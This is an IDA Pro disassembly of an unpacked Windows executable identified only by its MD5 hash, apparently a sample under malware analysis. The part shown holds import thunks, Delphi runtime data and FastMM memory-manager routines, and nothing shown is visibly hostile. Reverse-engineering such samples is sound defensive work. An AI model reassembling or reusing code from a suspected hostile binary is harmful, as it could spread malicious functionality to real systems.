;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 29D53EEC72EE8C9F274008E4B6DA7FA0
; File Name : u:\work\29d53eec72ee8c9f274008e4b6da7fa0_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 40000000
; Section 1. (virtual address 00001000)
; Virtual size : 000173EC ( 95212.)
; Section size in file : 000173EC ( 95212.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 40001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_40001000 dd offset dword_40001004 ; DATA XREF: .text:40006E36o
; .text:400077E5o ...
dword_40001004 dd 7473060Ah, 676E6972hoff_4000100C dd offset dword_40001010 ; DATA XREF: .text:40006AD6o
; .text:40006ADEo ...
dword_40001010 dd 69570A0Bh, 74536564h, 676E6972hoff_4000101C dd offset dword_40001068 ; DATA XREF: .text:40001108o
; .text:40006E08o ...
dd 7 dup(0)
dd offset dword_40001068
dd 4, 0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40001068 dd 624F5407h, 7463656Ah ; .text:4000103Co ...
off_40001070 dd offset dword_40001074 ; DATA XREF: .text:4000D6D0o
; .text:40013185o
dword_40001074 dd 4F540707h, 63656A62h db 74h
dd offset dword_40001068
align 4
dword_40001084 dd 6000000h, 74737953h, 6D65h, 244483CCh, 0D9E9F804h, 83000051h
; DATA XREF: .text:off_400010B1o
dd 0F8042444h, 51F7E9h, 24448300h, 1E9F804h, 0CC000052h
db 0CCh
off_400010B1 dd offset dword_40001084+0Dh ; DATA XREF: .text:400010D1o
dd offset dword_40001084+17h
dd offset dword_40001084+21h
byte_400010BD db 1, 2 dup(0) ; DATA XREF: .text:400010E4o
dd 2 dup(0)
dd 0C000h, 0
db 46h
dd offset off_400010B1
db 8, 2 dup(0)
align 10h
off_400010E0 dd offset dword_4000112C ; DATA XREF: .text:40007930o
dd offset byte_400010BD
dd 6 dup(0)
dd offset dword_4000112C
dd 0Ch
dd offset off_4000101C
dd offset sub_40003EF4
dd offset sub_40006248
dd offset sub_40006254
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40006264
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_4000112C dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h
; DATA XREF: .text:off_400010E0o
; .text:40001100o
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001140 proc near ; CODE XREF: sub_4000314C+4p
; .text:40003308p
jmp ds:dword_400244AC
sub_40001140 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001148 proc near ; CODE XREF: .text:40003204p
; sub_40003644+9Bp
jmp ds:dword_400244A8
sub_40001148 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001150 proc near ; CODE XREF: .text:400032EDp
jmp ds:dword_400244A4
sub_40001150 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001158 proc near ; CODE XREF: .text:40003228p
jmp ds:dword_400244A0
sub_40001158 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001160 proc near ; CODE XREF: .text:loc_400032D7p
; sub_40003644:loc_400036FFp ...
jmp ds:dword_4002449C
sub_40001160 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001168 proc near ; CODE XREF: sub_40003FE8+14p
; sub_40004004+16p ...
jmp ds:dword_40024498
sub_40001168 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001170 proc near ; CODE XREF: sub_400030D0+1Ep
; .text:40003265p
jmp ds:dword_40024494
sub_40001170 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001178 proc near ; CODE XREF: sub_400040D8+D2p
; .text:40004470p
; DATA XREF: ...
jmp ds:dword_40024490
sub_40001178 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001180 proc near ; CODE XREF: .text:4000329Cp
jmp ds:dword_4002448C
sub_40001180 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001188 proc near ; CODE XREF: .text:40003244p
; .text:4000328Ep
jmp ds:dword_40024488
sub_40001188 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001190 proc near ; CODE XREF: sub_400040D8+6Ap
; sub_400040D8+A7p ...
jmp ds:dword_40024484
sub_40001190 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001198 proc near ; CODE XREF: sub_40003110+1Fp
; sub_40004704+3Fp ...
jmp ds:dword_40024480
sub_40001198 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011A0 proc near ; CODE XREF: sub_40002EFC+Cp
; sub_40002EFC+3Ap ...
jmp ds:dword_4002440C
sub_400011A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011A8 proc near ; CODE XREF: sub_40004790+C0p
jmp ds:dword_4002447C
sub_400011A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011B0 proc near ; CODE XREF: sub_40002540+39Ep
; sub_40004704+78p
jmp ds:dword_40024408
sub_400011B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011B8 proc near ; CODE XREF: sub_40005C60+123p
jmp ds:dword_40024478
sub_400011B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011C0 proc near ; CODE XREF: sub_40005C60+111p
jmp ds:dword_40024474
sub_400011C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011C8 proc near ; CODE XREF: sub_40004790+88p
jmp ds:dword_40024470
sub_400011C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011D0 proc near ; CODE XREF: sub_40002FF8:loc_4000302Ep
; .itext:4001906Cp
jmp ds:dword_4002446C
sub_400011D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011D8 proc near ; CODE XREF: sub_40002D8Cp
; sub_400030D0+27p ...
jmp ds:dword_40024468
sub_400011D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011E0 proc near ; CODE XREF: sub_40005E24+12Fp
jmp ds:dword_40024464
sub_400011E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011E8 proc near ; CODE XREF: sub_40002FF8+24p
; sub_40005BC0+1Ep ...
jmp ds:dword_40024460
sub_400011E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011F0 proc near ; CODE XREF: sub_40005C60+1Dp
jmp ds:dword_4002445C
sub_400011F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400011F8 proc near ; CODE XREF: sub_40005C60+34p
jmp ds:dword_40024458
sub_400011F8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001200 proc near ; CODE XREF: sub_400012A0+Ap
jmp ds:dword_40024454
sub_40001200 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001208 proc near ; CODE XREF: sub_40005E24+129p
jmp ds:dword_40024450
sub_40001208 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001210 proc near ; CODE XREF: sub_40005E24+1B1p
; sub_40005E24+1E9p ...
jmp ds:dword_4002444C
sub_40001210 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001218 proc near ; CODE XREF: sub_400062F0+32p
jmp ds:dword_40024404
sub_40001218 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001220 proc near ; CODE XREF: sub_40005C60+64p
; sub_40005C60+C8p ...
jmp ds:dword_40024448
sub_40001220 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001228 proc near ; CODE XREF: sub_40005C60+12Fp
; sub_40005C60+16Fp ...
jmp ds:dword_40024444
sub_40001228 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001230 proc near ; CODE XREF: sub_400049C4+12p
jmp ds:dword_40024440
sub_40001230 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001238 proc near ; CODE XREF: sub_40003B94+6Bp
; sub_40005E24+FFp
jmp ds:dword_400243F4
sub_40001238 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001240 proc near ; CODE XREF: sub_40003B94+22p
; sub_40005E24+3Ap ...
jmp ds:dword_400243F0
sub_40001240 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001248 proc near ; CODE XREF: sub_40003B94+55p
; sub_40005E24+BFp ...
jmp ds:dword_400243EC
sub_40001248 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001250 proc near ; CODE XREF: sub_400049A4+16p
jmp ds:dword_4002443C
sub_40001250 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001258 proc near ; CODE XREF: sub_40002208+39p
; sub_40005B98+Bp
jmp ds:dword_40024438
sub_40001258 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001260 proc near ; CODE XREF: sub_40004FE0+7p
; sub_400050F8+Bp
jmp ds:dword_400243E4
sub_40001260 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001268 proc near ; CODE XREF: sub_40005044+1Ap
jmp ds:dword_400243E0
sub_40001268 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001270 proc near ; CODE XREF: sub_40004FF8+7p
; sub_40005008+Ep ...
jmp ds:dword_400243DC
sub_40001270 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001278 proc near ; CODE XREF: .text:400062A6p
jmp ds:dword_40024434
sub_40001278 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001280 proc near ; CODE XREF: sub_40006248+4p
; .text:400062BCp
jmp ds:dword_40024430
sub_40001280 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001288 proc near ; CODE XREF: .itext:4001908Ap
jmp ds:dword_4002442C
sub_40001288 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001290 proc near ; CODE XREF: sub_40003058+4p
jmp ds:dword_40024428
sub_40001290 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40001298 proc near ; CODE XREF: sub_40003058:loc_40003070p
jmp ds:dword_40024424
sub_40001298 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400012A0 proc near ; CODE XREF: .itext:40019076p
var_1C = word ptr -1Ch
var_18 = word ptr -18h
push ebx
add esp, 0FFFFFFBCh
mov ebx, 0Ah
push esp
call sub_40001200 ; GetStartupInfoA
test byte ptr [esp+48h+var_1C], 1
jz short loc_400012BB
movzx ebx, [esp+48h+var_18]
loc_400012BB: ; CODE XREF: sub_400012A0+14j
mov eax, ebx
add esp, 44h
pop ebx
retn
sub_400012A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012C4 proc near ; CODE XREF: sub_400015DC+16p
; sub_40001694+20p ...
jmp ds:dword_40024420
sub_400012C4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012CC proc near ; CODE XREF: sub_400016F8+1Cp
; sub_40001A9C+190p ...
jmp ds:dword_4002441C
sub_400012CC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012D4 proc near ; CODE XREF: sub_40001654+Dp
; sub_40001654+26p ...
jmp ds:dword_40024418
sub_400012D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400012DC proc near ; CODE XREF: sub_40002BB4+Fp
jmp ds:dword_40024400
sub_400012DC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 57h
aFastmmBorlandE db 'FastMM Borland Edition © 2004, 2005 Pierre le Riche / Professiona'
; DATA XREF: .data:off_4001A040o
db 'l Software Development',0
; =============== S U B R O U T I N E =======================================
sub_40001344 proc near ; CODE XREF: sub_40001654+1Bp
; sub_40001654+34p ...
lock cmpxchg [ecx], dl
retn
sub_40001344 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000134C proc near ; DATA XREF: .data:off_4001A060o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov eax, [eax+8]
mov [edx+4], ecx
mov [edx+8], eax
retn
sub_4000134C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001360 proc near ; DATA XREF: .data:4001A080o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov [edx+4], ecx
mov ecx, [eax+8]
mov [edx+8], ecx
mov ecx, [eax+0Ch]
mov eax, [eax+10h]
mov [edx+0Ch], ecx
mov [edx+10h], eax
retn
sub_40001360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001380 proc near ; DATA XREF: .data:4001A0A0o
mov ecx, [eax]
mov [edx], ecx
mov ecx, [eax+4]
mov [edx+4], ecx
mov ecx, [eax+8]
mov [edx+8], ecx
mov ecx, [eax+0Ch]
mov [edx+0Ch], ecx
mov ecx, [eax+10h]
mov [edx+10h], ecx
mov ecx, [eax+14h]
mov eax, [eax+18h]
mov [edx+14h], ecx
mov [edx+18h], eax
retn
sub_40001380 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400013AC proc near ; DATA XREF: .data:4001A0C0o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
mov ecx, [eax+20h]
mov [edx+20h], ecx
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013AC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400013CC proc near ; DATA XREF: .data:4001A0E0o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
mov ecx, [eax+28h]
mov [edx+28h], ecx
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013CC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400013F0 proc near ; DATA XREF: .data:4001A100o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
mov ecx, [eax+30h]
mov [edx+30h], ecx
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_400013F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000141C proc near ; DATA XREF: .data:4001A120o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
fild qword ptr [eax+30h]
mov ecx, [eax+38h]
mov [edx+38h], ecx
fistp qword ptr [edx+30h]
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_4000141C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000144C proc near ; DATA XREF: .data:4001A140o
fild qword ptr [eax]
fild qword ptr [eax+8]
fild qword ptr [eax+10h]
fild qword ptr [eax+18h]
fild qword ptr [eax+20h]
fild qword ptr [eax+28h]
fild qword ptr [eax+30h]
fild qword ptr [eax+38h]
mov ecx, [eax+40h]
mov [edx+40h], ecx
fistp qword ptr [edx+38h]
fistp qword ptr [edx+30h]
fistp qword ptr [edx+28h]
fistp qword ptr [edx+20h]
fistp qword ptr [edx+18h]
fistp qword ptr [edx+10h]
fistp qword ptr [edx+8]
fistp qword ptr [edx]
retn
sub_4000144C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001484 proc near ; CODE XREF: sub_40001C7C+2D8p
; sub_40001C7C+32Fp
; DATA XREF: ...
sub ecx, 0Ch
add eax, ecx
add edx, ecx
neg ecx
jns short loc_400014A2
loc_4000148F: ; CODE XREF: sub_40001484+1Cj
fild qword ptr [ecx+eax]
fild qword ptr [ecx+eax+8]
fistp qword ptr [ecx+edx+8]
fistp qword ptr [ecx+edx]
add ecx, 10h
js short loc_4000148F
loc_400014A2: ; CODE XREF: sub_40001484+9j
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
mov eax, [ecx+eax+8]
mov [ecx+edx+8], eax
retn
sub_40001484 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400014B4 proc near ; CODE XREF: sub_40001C7C+41p
; sub_40001C7C+1A5p ...
sub ecx, 4
add eax, ecx
add edx, ecx
neg ecx
loc_400014BD: ; CODE XREF: sub_400014B4+12j
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
add ecx, 8
js short loc_400014BD
mov eax, [ecx+eax]
mov [ecx+edx], eax
retn
sub_400014B4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400014D0 proc near ; CODE XREF: sub_40001570+4Cp
; sub_40001A9C+148p ...
mov ecx, [eax+4]
mov edx, [eax]
cmp ecx, edx
mov [ecx], edx
mov [edx+4], ecx
jz short loc_400014E0
locret_400014DE: ; CODE XREF: sub_400014D0+2Cj
retn
; ---------------------------------------------------------------------------
align 10h
loc_400014E0: ; CODE XREF: sub_400014D0+Cj
sub ecx, offset off_4001C7A8
mov edx, ecx
shr ecx, 3
movzx edx, dh
mov eax, 0FFFFFFFEh
rol eax, cl
and ds:dword_4001C728[edx*4], eax
jnz short locret_400014DE
mov eax, 0FFFFFFFEh
mov ecx, edx
rol eax, cl
and ds:dword_4001C724, eax
retn
sub_400014D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40001510 proc near ; CODE XREF: sub_40001570+33j
; sub_40001734+17Dp ...
sub edx, 0B30h
shr edx, 8
sub edx, 3FFh
sbb ecx, ecx
and edx, ecx
add edx, 3FFh
lea ecx, off_4001C7A8[edx*8]
mov edx, [ecx+4]
cmp edx, ecx
mov [eax], ecx
mov [eax+4], edx
mov [edx], eax
mov [ecx+4], eax
jz short loc_40001544
retn
; ---------------------------------------------------------------------------
align 4
loc_40001544: ; CODE XREF: sub_40001510+2Fj
sub ecx, offset off_4001C7A8
mov edx, ecx
shr ecx, 3
movzx edx, dh
mov eax, 1
shl eax, cl
or ds:dword_4001C728[edx*4], eax
mov eax, 1
mov ecx, edx
shl eax, cl
or ds:dword_4001C724, eax
retn
sub_40001510 endp
; =============== S U B R O U T I N E =======================================
sub_40001570 proc near ; CODE XREF: sub_400015DC+3p
; sub_40001A9C+1A6p
cmp ds:dword_4001C720, 0
jnz short loc_4000157C
retn
; ---------------------------------------------------------------------------
align 4
loc_4000157C: ; CODE XREF: sub_40001570+7j
mov eax, ds:dword_4001C71C
test byte ptr [eax-4], 1
jnz short loc_400015AC
or dword ptr [eax-4], 8
mov edx, ds:dword_4001C720
sub eax, edx
loc_40001593: ; CODE XREF: sub_40001570+68j
lea ecx, [edx+3]
mov [eax-4], ecx
mov [edx+eax-8], edx
cmp edx, 0B30h
jnb sub_40001510
retn
; ---------------------------------------------------------------------------
align 4
loc_400015AC: ; CODE XREF: sub_40001570+15j
mov edx, 0FFFFFFF0h
and edx, [eax-4]
cmp edx, 0B30h
jb short loc_400015CE
call sub_400014D0
mov eax, ds:dword_4001C71C
mov edx, 0FFFFFFF0h
and edx, [eax-4]
loc_400015CE: ; CODE XREF: sub_40001570+4Aj
mov ecx, ds:dword_4001C720
sub eax, ecx
add edx, ecx
jmp short loc_40001593
sub_40001570 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400015DC proc near ; CODE XREF: sub_40001734+1BEp
; sub_40001734+2DAp
push ebx
mov ebx, eax
call sub_40001570
push 4
push 1000h
push 140000h
push 0
call sub_400012C4 ; VirtualAlloc
test eax, eax
jz short loc_40001648
mov edx, ds:dword_4001C70C
mov ecx, eax
mov dword ptr [ecx], offset dword_4001C708
mov ds:dword_4001C70C, eax
mov [ecx+4], edx
mov [edx], eax
mov edx, eax
add edx, 140000h
mov ecx, edx
sub ecx, 4
mov dword ptr [ecx], 2
mov ecx, 13FFF0h
sub ecx, ebx
mov ds:dword_4001C720, ecx
sub edx, ebx
mov eax, edx
mov ds:dword_4001C71C, eax
or ebx, 2
mov edx, eax
sub edx, 4
mov [edx], ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001648: ; CODE XREF: sub_400015DC+1Dj
xor eax, eax
mov ds:dword_4001C720, eax
xor eax, eax
pop ebx
retn
sub_400015DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001654 proc near ; CODE XREF: sub_40001694+36p
; sub_400016F8+8p
cmp ds:byte_4001C04D, 0
jz short locret_40001691
jmp short loc_4000167F
; ---------------------------------------------------------------------------
loc_4000165F: ; CODE XREF: sub_40001654+3Bj
push 0
call sub_400012D4 ; Sleep
mov ecx, offset byte_4001E7A8
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jz short locret_40001691
push 0Ah
call sub_400012D4 ; Sleep
loc_4000167F: ; CODE XREF: sub_40001654+9j
mov ecx, offset byte_4001E7A8
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jnz short loc_4000165F
locret_40001691: ; CODE XREF: sub_40001654+7j
; sub_40001654+22j
retn
sub_40001654 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40001694 proc near ; CODE XREF: sub_40001734+35Fj
push ebx
push esi
push edi
push ebp
mov ebp, eax
lea esi, [ebp+10010h]
dec esi
add esi, 4
and esi, 0FFFF0000h
push 4
push 101000h
push esi
push 0
call sub_400012C4 ; VirtualAlloc
mov ebx, eax
test ebx, ebx
jz short loc_400016EF
mov edi, ebx
mov [edi+8], ebp
or esi, 4
mov [edi+0Ch], esi
call sub_40001654
mov eax, ds:dword_4001E7B0
mov dword ptr [edi], offset dword_4001E7AC
mov ds:dword_4001E7B0, ebx
mov [edi+4], eax
mov [eax], ebx
mov ds:byte_4001E7A8, 0
add ebx, 10h
loc_400016EF: ; CODE XREF: sub_40001694+29j
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40001694 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400016F8 proc near ; CODE XREF: sub_40001A9C+1D4j
push ebx
push esi
push edi
mov ebx, eax
sub ebx, 10h
call sub_40001654
mov eax, ebx
mov esi, [eax]
mov edi, [eax+4]
push 8000h
push 0
push ebx
call sub_400012CC ; VirtualFree
test eax, eax
jz short loc_40001726
mov [edi], esi
mov [esi+4], edi
xor eax, eax
jmp short loc_40001729
; ---------------------------------------------------------------------------
loc_40001726: ; CODE XREF: sub_400016F8+23j
or eax, 0FFFFFFFFh
loc_40001729: ; CODE XREF: sub_400016F8+2Cj
mov ds:byte_4001E7A8, 0
pop edi
pop esi
pop ebx
retn
sub_400016F8 endp
; =============== S U B R O U T I N E =======================================
sub_40001734 proc near ; CODE XREF: sub_40001C7C+30p
; sub_40001C7C+66p ...
lea edx, [eax+3]
shr edx, 3
cmp eax, 0A2Ch
push ebx
mov cl, ds:byte_4001C04D
ja loc_40001978
test cl, cl
movzx eax, ds:byte_4001C5C0[edx]
lea ebx, byte_4001A044[eax*8]
jnz short loc_400017B4
loc_4000175E: ; CODE XREF: sub_40001734+89j
; sub_40001734+97j ...
mov edx, [ebx+4]
mov eax, [edx+8]
mov ecx, 0FFFFFFF8h
cmp edx, ebx
jz short loc_40001784
add dword ptr [edx+0Ch], 1
and ecx, [eax-4]
mov [edx+8], ecx
mov [eax-4], edx
jz short loc_400017A4
mov byte ptr [ebx], 0
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001784: ; CODE XREF: sub_40001734+37j
mov edx, [ebx+10h]
movzx ecx, word ptr [ebx+2]
add ecx, eax
cmp eax, [ebx+0Ch]
ja short loc_40001800
add dword ptr [edx+0Ch], 1
mov [ebx+8], ecx
mov byte ptr [ebx], 0
mov [eax-4], edx
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_400017A4: ; CODE XREF: sub_40001734+46j
mov ecx, [edx+4]
mov [ecx+14h], ebx
mov [ebx+4], ecx
mov byte ptr [ebx], 0
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_400017B4: ; CODE XREF: sub_40001734+28j
; sub_40001734+C7j
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
add ebx, 20h
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
add ebx, 20h
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_4000175E
sub ebx, 40h
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg [ebx], ah
jz loc_4000175E
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_400017B4
; ---------------------------------------------------------------------------
align 10h
loc_40001800: ; CODE XREF: sub_40001734+5Cj
push esi
push edi
cmp ds:byte_4001C04D, 0
jz short loc_4000183C
loc_4000180B: ; CODE XREF: sub_40001734+103j
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_4000183C
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_4000183C
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_4000180B
; ---------------------------------------------------------------------------
align 4
loc_4000183C: ; CODE XREF: sub_40001734+D5j
; sub_40001734+E4j ...
movsx esi, byte ptr [ebx+1]
and esi, ds:dword_4001C724
jz short loc_400018B8
bsf eax, esi
lea esi, ds:0[eax*8]
mov ecx, ds:dword_4001C728[eax*4]
bsf ecx, ecx
lea ecx, [ecx+esi*4]
lea edi, off_4001C7A8[ecx*8]
mov esi, [edi+4]
mov edx, [esi+4]
mov [edi+4], edx
mov [edx], edi
cmp edi, edx
jnz short loc_4000188C
mov edx, 0FFFFFFFEh
rol edx, cl
and ds:dword_4001C728[eax*4], edx
jnz short loc_4000188C
btr ds:dword_4001C724, eax
loc_4000188C: ; CODE XREF: sub_40001734+13Fj
; sub_40001734+14Fj
mov edi, 0FFFFFFF0h
and edi, [esi-4]
cmp edi, 10A60h
jb short loc_40001908
mov edx, edi
movzx edi, word ptr [ebx+1Ah]
sub edx, edi
lea eax, [edi+esi]
lea ecx, [edx+3]
mov [eax-4], ecx
mov [edx+eax-8], edx
call sub_40001510
jmp short loc_4000190D
; ---------------------------------------------------------------------------
loc_400018B8: ; CODE XREF: sub_40001734+112j
